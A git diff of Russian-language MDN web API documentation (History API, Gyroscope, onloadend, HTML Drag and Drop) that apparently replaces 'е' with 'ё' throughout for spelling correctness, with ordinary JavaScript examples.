b/files/ru/web/api/globaleventhandlers/onloadend/index.html index 75b770e20e..6b25052a7f 100644 --- a/files/ru/web/api/globaleventhandlers/onloadend/index.html +++ b/files/ru/web/api/globaleventhandlers/onloadend/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/GlobalEventHandlers/onloadend --- <div>{{ApiRef}}</div> -<p><span id="result_box" lang="ru"><span>Свойство</span></span> <strong><code>onloadend</code></strong> <span id="result_box" lang="ru"><span>от </span></span>{{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>передает код для вызова в момент возникновения события</span></span> {{event("loadend")}} (когда процесс загрузки ресурса окончился и остановился)</p> +<p><span id="result_box" lang="ru"><span>Свойство</span></span> <strong><code>onloadend</code></strong> <span id="result_box" lang="ru"><span>от </span></span>{{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>передаёт код для вызова в момент возникновения события</span></span> {{event("loadend")}} (когда процесс загрузки ресурса окончился и остановился)</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/gyroscope/index.html b/files/ru/web/api/gyroscope/index.html index 83aca0334c..3399281c0c 100644 --- a/files/ru/web/api/gyroscope/index.html +++ b/files/ru/web/api/gyroscope/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Gyroscope --- <div>{{APIRef("Gyroscope")}}</div> -<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интерфейс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a> дает возможность считать позицию устройства по всем трем осям.</span></p> +<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интерфейс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a> даёт возможность считать позицию устройства по всем трём осям.</span></p> <p>Для использования того сенсора пользователю нужно предоставить доступ устройства к <code>'gyroscope'</code> через {{domxref('Permissions')}} API.</p> diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html index 6612072c73..c214626c13 100644 --- a/files/ru/web/api/history/go/index.html +++ b/files/ru/web/api/history/go/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/History/go --- <div>{{APIRef("History API")}}</div> -<p>Метод <strong><code>History.go()</code></strong> выполняет переход на определенную страницу в истории текущей сессии. С его помощью можно перемещаться как вперед, так и назад, в зависимости от значения параметра.</p> +<p>Метод <strong><code>History.go()</code></strong> выполняет переход на определённую страницу в истории текущей сессии. С его помощью можно перемещаться как вперёд, так и назад, в зависимости от значения параметра.</p> <p>Данный метод является {{glossary("asynchronous", "асинхронным")}}. Добавьте обработчик для события {{event("popstate")}}, чтобы определить, когда переход закончен.</p> @@ -23,7 +23,7 @@ translation_of: Web/API/History/go <dl> <dt><code>delta</code> {{optional_inline}}</dt> - <dd>Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперед. Например, <code>history.go(2)</code> перемещает вперед на 2 страницы, а <code>history.go(-2)</code> перемещает на 2 страницы назад. Если метод вызван без параметра или же <code>delta</code> равна 0, результат выполнения будет такой же, как у <code>location.reload()</code>.</dd> + <dd>Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперёд. Например, <code>history.go(2)</code> перемещает вперёд на 2 страницы, а <code>history.go(-2)</code> перемещает на 2 страницы назад. Если метод вызван без параметра или же <code>delta</code> равна 0, результат выполнения будет такой же, как у <code>location.reload()</code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -32,11 +32,11 @@ translation_of: Web/API/History/go <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> -<p>Перемещение на страницу вперед, как {{domxref("History.forward", "forward()")}}:</p> +<p>Перемещение на страницу вперёд, как {{domxref("History.forward", "forward()")}}:</p> <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> -<p>Перемещение на 2 страницы вперед:</p> +<p>Перемещение на 2 страницы вперёд:</p> <pre class="brush: js notranslate">history.go(2);</pre> diff --git a/files/ru/web/api/history/index.html b/files/ru/web/api/history/index.html index 5418220959..c49ae6d791 100644 --- a/files/ru/web/api/history/index.html +++ b/files/ru/web/api/history/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/History --- <p>{{ APIRef("HTML DOM") }}</p> -<p><em><strong>History</strong> интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещенных страницах в пределах вкладки или фрейма загруженного внутри страницы. </em></p> +<p><em><strong>History</strong> интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещённых страницах в пределах вкладки или фрейма загруженного внутри страницы. </em></p> <h2 id="Свойства">Свойства</h2> @@ -39,17 +39,17 @@ translation_of: Web/API/History </dd> <dt>{{domxref("History.go()")}}</dt> <dd> - <p>Загружает страницу из истории сессии, определяя ее положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда <em>integerDelta</em> выходит за предел (например, -1, когда нет ранее посещенных страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">который поддерживает строки URL в качестве аргумента</a>).</p> + <p>Загружает страницу из истории сессии, определяя её положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда <em>integerDelta</em> выходит за предел (например, -1, когда нет ранее посещённых страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">который поддерживает строки URL в качестве аргумента</a>).</p> </dd> <dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt> - <dd>Помещает полученные данные в стек истории сессии с определенным заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. + <dd>Помещает полученные данные в стек истории сессии с определённым заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div> </dd> </dl> <dl> <dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt> - <dd>Обновляет последнюю запись в стеке истории содержащий определенные данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. + <dd>Обновляет последнюю запись в стеке истории содержащий определённые данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>. <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div> </dd> </dl> diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html index 3faaa8676a..82b65cd3f7 100644 --- a/files/ru/web/api/history/state/index.html +++ b/files/ru/web/api/history/state/index.html @@ -15,11 +15,11 @@ translation_of: Web/API/History/state <h3 id="Значение">Значение</h3> -<p>Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применен метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.</p> +<p>Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применён метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.</p> <h2 id="Примеры">Примеры</h2> -<p>Код, приведенный ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p> +<p>Код, приведённый ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p> <pre class="brush: js notranslate">// Выведет null потому что мы пока не изменяли стек истории console.log(`History.state before pushState: ${history.state}`); diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html index 2238486e34..e629e51ae1 100644 --- a/files/ru/web/api/history_api/index.html +++ b/files/ru/web/api/history_api/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/History_API </pre> <p>Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.<br> - Похожим образом можно переместиться вперед (как если бы пользователь нажал на кнопку "Вперед"):</p> + Похожим образом можно переместиться вперёд (как если бы пользователь нажал на кнопку "Вперёд"):</p> <pre class="brush: js notranslate">window.history.forward(); </pre> @@ -42,7 +42,7 @@ translation_of: Web/API/History_API <pre class="brush: js notranslate">window.history.go(1); </pre> -<p>По такому же принципу, можно перемещаться вперед на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p> +<p>По такому же принципу, можно перемещаться вперёд на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p> <p>Кроме того, метод <code>go()</code> можно использовать для обновления текущей страницы, передавая аргумент <code>0</code> или вызывая его без аргументов:</p> diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html index b577f135f2..46f6fbafd9 100644 --- a/files/ru/web/api/history_api/working_with_the_history_api/index.html +++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html @@ -24,7 +24,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>В результате этого в URL-строке отобразится адрес <code>http://mozilla.org/bar.html</code>, но браузер не будет загружать страницу <code>bar.html</code> и даже не будет проверять, существует ли она..</p> -<p>Теперь предположим, что пользователь перешел по адресу <code>http://google.com</code> и затем нажал на кнопку "<strong>Назад</strong>". В результате этого в URL будет отображаться <code>http://mozilla.org/bar.html</code>, а <code>history.state</code> будет содержать <code>stateObj</code>. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как <code>bar.html</code>.</p> +<p>Теперь предположим, что пользователь перешёл по адресу <code>http://google.com</code> и затем нажал на кнопку "<strong>Назад</strong>". В результате этого в URL будет отображаться <code>http://mozilla.org/bar.html</code>, а <code>history.state</code> будет содержать <code>stateObj</code>. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как <code>bar.html</code>.</p> <p>Если пользователь ещё раз нажимает кнопку <strong>"Назад"</strong>, URL изменится на <code>http://mozilla.org/foo.html</code>, а в документе снова произойдёт событие <code>popstate</code>, на этот раз с объектом состояния, имеющим значение <code>null</code>. В этом случае возврат назад также не меняет содержимое документа, как и на предыдущем шаге, хотя документ может сам обновить своё содержимое после получения события <code>popstate</code>.</p> diff --git a/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html b/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html index 0ebd022362..24931b8d5b 100644 --- a/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html +++ b/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html @@ -31,12 +31,12 @@ original_slug: Web/Guide/HTML/Drag_and_drop/Drag_operations </p> </pre> -<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлен в <code>"true"</code>, т.о. этот элемент становится перетаскиваемым. Если этот атрибут был опущен или установлен в <code>"false"</code>, то элемент не может быть перенесен, и вместо этого будет выбран текст.</p> +<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлен в <code>"true"</code>, т.о. этот элемент становится перетаскиваемым. Если этот атрибут был опущен или установлен в <code>"false"</code>, то элемент не может быть перенесён, и вместо этого будет выбран текст.</p> <p>Атрибут <code>{{htmlattrxref("draggable")}}</code> может быть использован для любого элемента, включая изображения и ссылки. Однако, для последних двух, значение по умолчанию - <code>true</code>, т.о. вы можете только использовать атрибут <code>{{htmlattrxref("draggable")}}</code> со значением <code>false</code> для отключение перетаскивания этих элементов.</p> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> Когда элемент становится перетаскиваемыми, текст или другие элементы в нем больше не могут быть выбраны обычным способом, щелкая и перетаскивая мышью. Вместо этого пользователь должен удерживать клавишу <kbd>Alt</kbd> чтобы выбрать текст с помощью мыши или клавиатуры.</p> +<p><strong>Примечание:</strong> Когда элемент становится перетаскиваемыми, текст или другие элементы в нем больше не могут быть выбраны обычным способом, щёлкая и перетаскивая мышью. Вместо этого пользователь должен удерживать клавишу <kbd>Alt</kbd> чтобы выбрать текст с помощью мыши или клавиатуры.</p> </div> <h2 id="dragstart" name="dragstart">Начало операции перетаскивания</h2> @@ -81,7 +81,7 @@ dt.setData("text/uri-list", "https://www.mozilla.org"); dt.setData("text/plain", "https://www.mozilla.org"); </pre> -<p>Добавлены данные трех различных форматов. Первый тип - <code>application/x.bookmark</code>, пользовательский тип.Другие приложения не поддерживают данный тип, но вы можете использовать пользовательский тип для перетаскивания между областями в одном приложение или на одной странице.</p> +<p>Добавлены данные трёх различных форматов. Первый тип - <code>application/x.bookmark</code>, пользовательский тип.Другие приложения не поддерживают данный тип, но вы можете использовать пользовательский тип для перетаскивания между областями в одном приложение или на одной странице.</p> <p>Предоставляя данные и в других типах, мы также можем поддерживать перетаскивание в другие приложения в менее специфичных формах. Тип <code>application/x.bookmark</code> может предоставлять данные с более подробной информацией для использования в приложении, в то время как другие типы могут включать только один URL-адрес или текстовую версию.</p> @@ -98,7 +98,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); <h2 id="dragfeedback" name="dragfeedback">Настройка изображения отклика drag</h2> -<p>Когда происходит перетаскивание, полупрозрачное изображение генерируется из цели перетаскивания (событие "{{event("dragstart")}}" элемента срабатывает), и следует за указателем пользователя во время перетаскивания. Это изображение создается автоматически, поэтому вам не нужно создавать его самостоятельно. Однако вы можете использовать {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания пользовательского изображения отклика перетаскивания.</p> +<p>Когда происходит перетаскивание, полупрозрачное изображение генерируется из цели перетаскивания (событие "{{event("dragstart")}}" элемента срабатывает), и следует за указателем пользователя во время перетаскивания. Это изображение создаётся автоматически, поэтому вам не нужно создавать его самостоятельно. Однако вы можете использовать {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания пользовательского изображения отклика перетаскивания.</p> <pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset); </pre> @@ -131,7 +131,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); <p>При перетаскивании можно выполнить несколько операций. Операция <code>copy</code> используется для указания на то, что перетаскиваемые данные будут скопированы из текущего местоположения в место перетаскивания. Операция <code>move</code> используется для указания на то, что перетаскиваемые данные будут перемещены, а операция <code>link</code> используется для указания на то, что между исходным и удаляемым местоположениями будет создана некоторая форма связи или соединения.</p> -<p>Вы можете указать, какая из трех операций разрешена для источника перетаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} в обработчике событий<code>{{event("dragstart")}}</code>.</p> +<p>Вы можете указать, какая из трёх операций разрешена для источника перетаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} в обработчике событий<code>{{event("dragstart")}}</code>.</p> <pre class="brush: js">event.dataTransfer.effectAllowed = "copy"; </pre> @@ -161,13 +161,13 @@ dt.setData("text/plain", "https://www.mozilla.org"); <dd>Значение по умолчанию <code>all</code>.</dd> </dl> -<p>Обратите внимание, что эти значения должны использоваться так, как указано выше. Например, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} на <code>copyMove</code> позволяет выполнять операцию копирования или перемещения, но не позволяет пользователю выполнять операцию связывания. Если вы не измените свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, то любая операция разрешена, как и со значением '<code>all</code>'. Поэтому вам не нужно настраивать это свойство, если вы не хотите исключить определенные типы.</p> +<p>Обратите внимание, что эти значения должны использоваться так, как указано выше. Например, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} на <code>copyMove</code> позволяет выполнять операцию копирования или перемещения, но не позволяет пользователю выполнять операцию связывания. Если вы не измените свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, то любая операция разрешена, как и со значением '<code>all</code>'. Поэтому вам не нужно настраивать это свойство, если вы не хотите исключить определённые типы.</p> <p>Во время операции перетаскивания, обработчик для событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code> может проверить свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} , какие операции разрешены. Связанное свойство, {{domxref("DataTransfer.dropEffect","dropEffect")}}, должно быть установлено в пределах одного из этих событий, чтобы указать, какая единственная операция должна быть выполнена. Допустимые значения для {{domxref("DataTransfer.dropEffect","dropEffect")}} - <code>none</code>, <code>copy</code>, <code>move</code>, или <code>link</code>. Комбинированные значения для этого свойства не используются.</p> <p>С событиями <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code>, свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} инициализируется в соответствии с запросом пользователя. Пользователь может изменить желаемый эффект, нажав клавиши-модификаторы. Хотя точные используемые клавиши различаются в зависимости от платформы, обычно клавиши <kbd>Shift</kbd> и <kbd>Control</kbd> используются для переключения между копированием, перемещением и связыванием. Указатель мыши изменится, чтобы указать, какая операция требуется. Например, для <code>copy</code> курсор может появиться со знаком плюс рядом с ним.</p> -<p>Вы можете изменять свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} во время событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code>, например, определенная drop-цель поддерживает только определенные операции. Вы можете изменить свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, чтобы переопределить действие пользователя, и обеспечить выполнение специфичной операции перетаскивания при ее наступлении. Обратите внимание, что этот эффект должен быть указан в списке свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. В противном случае ему будет присвоено другое допустимое значение.</p> +<p>Вы можете изменять свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} во время событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code>, например, определённая drop-цель поддерживает только определённые операции. Вы можете изменить свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, чтобы переопределить действие пользователя, и обеспечить выполнение специфичной операции перетаскивания при её наступлении. Обратите внимание, что этот эффект должен быть указан в списке свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. В противном случае ему будет присвоено другое допустимое значение.</p> <pre class="brush: js">event.dataTransfer.dropEffect = "copy"; </pre> @@ -182,17 +182,17 @@ dt.setData("text/plain", "https://www.mozilla.org"); <p>Слушатель для событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> используются для указания допустимых drop-целей, то есть мест, где могут быть сброшены перетаскиваемые элементы. Большинство областей веб-страницы или приложения не являются допустимыми местами для сброса данных. Таким образом, обработка этих событий по умолчанию не допускает сброса перетаскиваемых данных.</p> -<p>Если вы хотите разрешить сброс переносимых данных, вы должны предотвратить обработку по умолчанию, отменив оба события <code>dragenter</code> и <code>dragover</code>. Это можно сделать, либо вернув <code>false</code> из определенных атрибутом обработчика событий, либо вызвав метод {{domxref("Event.preventDefault","preventDefault()")}} событие. Последнее может быть более осуществимо в функции, определенной в отдельном скрипте.</p> +<p>Если вы хотите разрешить сброс переносимых данных, вы должны предотвратить обработку по умолчанию, отменив оба события <code>dragenter</code> и <code>dragover</code>. Это можно сделать, либо вернув <code>false</code> из определённых атрибутом обработчика событий, либо вызвав метод {{domxref("Event.preventDefault","preventDefault()")}} событие. Последнее может быть более осуществимо в функции, определённой в отдельном скрипте.</p> <pre class="brush: html"><div ondragover="return false"> <div ondragover="event.preventDefault()"> </pre> -<p>Вызывая метод {{domxref("Event.preventDefault","preventDefault()")}} во время обоих событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> укажите, что падение разрешено в этом месте. Однако обычно вы захотите вызвать метод {{domxref("Event.preventDefault","preventDefault()")}} события только в определенных ситуациях (например, только при перетаскивании ссылки).</p> +<p>Вызывая метод {{domxref("Event.preventDefault","preventDefault()")}} во время обоих событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> укажите, что падение разрешено в этом месте. Однако обычно вы захотите вызвать метод {{domxref("Event.preventDefault","preventDefault()")}} события только в определённых ситуациях (например, только при перетаскивании ссылки).</p> -<p>Для этого вызовите функцию, которая проверяет условие и отменяет событие только при его выполнении. Если условие не выполнено, не отменяйте событие, и сброс перетаскиваемых данных не произойдет, если пользователь отпустит кнопку мыши.</p> +<p>Для этого вызовите функцию, которая проверяет условие и отменяет событие только при его выполнении. Если условие не выполнено, не отменяйте событие, и сброс перетаскиваемых данных не произойдёт, если пользователь отпустит кнопку мыши.</p> -<p>Наиболее распространенным является принятие или отклонение сброса в зависимости от типа данных перетаскивания при передаче данных — например, разрешение для изображений, ссылок или и того, и другого. Для этого вы можете проверить свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Свойство {{domxref("DataTransfer.types","types")}} возвращает массив из строк, добавленных при начале перетаскивания, в порядке от наиболее значимого к наименее значимому.</p> +<p>Наиболее распространённым является принятие или отклонение сброса в зависимости от типа данных перетаскивания при передаче данных — например, разрешение для изображений, ссылок или и того, и другого. Для этого вы можете проверить свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Свойство {{domxref("DataTransfer.types","types")}} возвращает массив из строк, добавленных при начале перетаскивания, в порядке от наиболее значимого к наименее значимому.</p> <pre class="brush: js">function doDragOver(event) { const isLink = event.dataTransfer.types.includes("text/uri-list"); @@ -201,7 +201,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); } }</pre> -<p>В этом примере мы используем метод <code>includes</code> чтобы проверить, присутствует ли тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> в списке типов. Если это так, мы отменим событие, так что сброс становится разрешен. Если перетаскиваемые данные не содержат ссылки, событие не будет отменено, и сброс не может произойти в этом месте.</p> +<p>В этом примере мы используем метод <code>includes</code> чтобы проверить, присутствует ли тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> в списке типов. Если это так, мы отменим событие, так что сброс становится разрешён. Если перетаскиваемые данные не содержат ссылки, событие не будет отменено, и сброс не может произойти в этом месте.</p> <p>Вы также можете установить либо свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, либо свойство{{domxref("DataTransfer.dropEffect","dropEffect")}}, либо оба одновременно, если вы хотите указать более конкретные сведения о типе операции, которая будет выполнена. Естественно, изменение любого свойства не будет иметь никакого эффекта, если вы не отмените событие.</p> @@ -299,7 +299,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); <p>Если свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} имеет значение <code>none</code> во время события <code>{{event("dragend")}}</code>, то перетаскивание было отменено. В противном случае эффект указывает, какая операция была выполнена. Источник может использовать эту информацию после операции перемещения для удаления перетаскиваемого элемента из старого расположения. Свойство {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} будет присвоено значение <code>true</code>, если пользователь отменил перетаскивание (нажав <kbd>Escape</kbd>), и <code>false</code> если перетаскивание было отменено по другим причинам, таким как недопустимая цель перетаскивания, или если оно было успешным.</p> -<p>Сброс может произойти внутри того же окна или над другим приложением. Событие<code>{{event("dragend")}}</code>будет срабатывать всегда, независимо от этого. Свойство события {{domxref("MouseEvent.screenX","screenX")}} и {{domxref("MouseEvent.screenY","screenY")}} будут установлены в координаты экрана, где произошел сброс.</p> +<p>Сброс может произойти внутри того же окна или над другим приложением. Событие<code>{{event("dragend")}}</code>будет срабатывать всегда, независимо от этого. Свойство события {{domxref("MouseEvent.screenX","screenX")}} и {{domxref("MouseEvent.screenY","screenY")}} будут установлены в координаты экрана, где произошёл сброс.</p> <p>Когда событие <code>{{event("dragend")}}</code> завершило распространение, операция перетаскивания завершена.</p> diff --git a/files/ru/web/api/html_drag_and_drop_api/index.html b/files/ru/web/api/html_drag_and_drop_api/index.html index 1e434f28af..d88ca60276 100644 --- a/files/ru/web/api/html_drag_and_drop_api/index.html +++ b/files/ru/web/api/html_drag_and_drop_api/index.html @@ -14,9 +14,9 @@ original_slug: Web/Guide/HTML/Drag_and_drop <ul> <li>Определить переносимый элемент. Присвоить true атрибуту draggable элемента, который мы хотим перенести. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#draggableattribute">The Draggable Attribute</a>.</li> - <li>Определить данные, которые могут быть перемещены, они могут быть разного формата. К примеру, текстовые данные, содержащие строку текста который может быть перемещен. Для детальной информации смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li> + <li>Определить данные, которые могут быть перемещены, они могут быть разного формата. К примеру, текстовые данные, содержащие строку текста который может быть перемещён. Для детальной информации смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li> <li>(Необязательно) Определить изображение которое будет рядом с указателем мыши на протяжении всей операции перетаскивания. Если пользовательское изображение не будет определено, будет сгенерирована картинка по умолчанию, в зависимости от элемента, на котором была зажата кнопка мыши (что будет означать, что элемент переносят). Ознакомиться детально с установкой изображения перетаскивания можно по ссылке <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>.</li> - <li>Определить возможные эффекты переноса. Возможны три таких эффекта: <code>copy</code> показывает, что перемещаемые данные копируются из прежнего места расположения в новое, <code>move</code> показывает, что перемещаемые данные полностью переносятся на новое место, и <code>link</code> показывает, что создается некая форма взаимодействия или связи между исходной точкой и точкой назначения. На протяжении операции перемещения, картинка которая следует за курсором мыши может меняться в зависимости от того, может ли элемент быть перемещен в область под курсором. Если перенос разрешен, перемещение может быть произведено. Смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для детальной информации.</li> + <li>Определить возможные эффекты переноса. Возможны три таких эффекта: <code>copy</code> показывает, что перемещаемые данные копируются из прежнего места расположения в новое, <code>move</code> показывает, что перемещаемые данные полностью переносятся на новое место, и <code>link</code> показывает, что создаётся некая форма взаимодействия или связи между исходной точкой и точкой назначения. На протяжении операции перемещения, картинка которая следует за курсором мыши может меняться в зависимости от того, может ли элемент быть перемещён в область под курсором. Если перенос разрешён, перемещение может быть произведено. Смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для детальной информации.</li> <li>Определить область назначения. По умолчанию браузер не позволяет перемещать что-либо на HTML элемент. Однако, чтобы сделать элемент активным для перемещения других элементов на него, просто отмените действие по умолчанию. То есть, подпишитесь на события "ondragenter" или "ondragover". Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>.</li> <li>Обработать завершение переноса. Вы можете получить данные из переносимого элемента и произвести над ними необходимые операции. Для детальной информации, пожалуйста, смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>.</li> </ul> @@ -48,7 +48,7 @@ original_slug: Web/Guide/HTML/Drag_and_drop <dt><code>dragstart</code></dt> <dd>Срабатывает когда элемент начал перемещаться. В момент срабатывания события <code>dragstart</code> пользователь начинает перетаскивание элемента. Обработчик данного события может быть использован для сохранения информации о перемещаемом объекте, а также для изменения изображения, которое будет ассоциировано с перемещением. Данное событие не срабатывает, когда некоторый файл будет переноситься из операционной системы в браузер. Для детальной информации <a href="/en-US/docs/DragDrop/Drag_Operations#dragstart" title="Starting a Drag Operation">Starting a Drag Operation</a>.</dd> <dt><code>dragenter</code></dt> - <dd>Срабатывает, когда перемещаемый элемент попадает на элемент-назначение. Обработчик этого события показывает, что элемент находится над объектом на который он может быть перенесен. Если же обработчика нет, либо он не совершает никаких действий перемещение по умолчанию запрещено. Это событие также используется для того, чтобы подсветить либо промаркировать объект над которым происходит перемещения в случае, если перемещение на данный элемент разрешено. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd> + <dd>Срабатывает, когда перемещаемый элемент попадает на элемент-назначение. Обработчик этого события показывает, что элемент находится над объектом 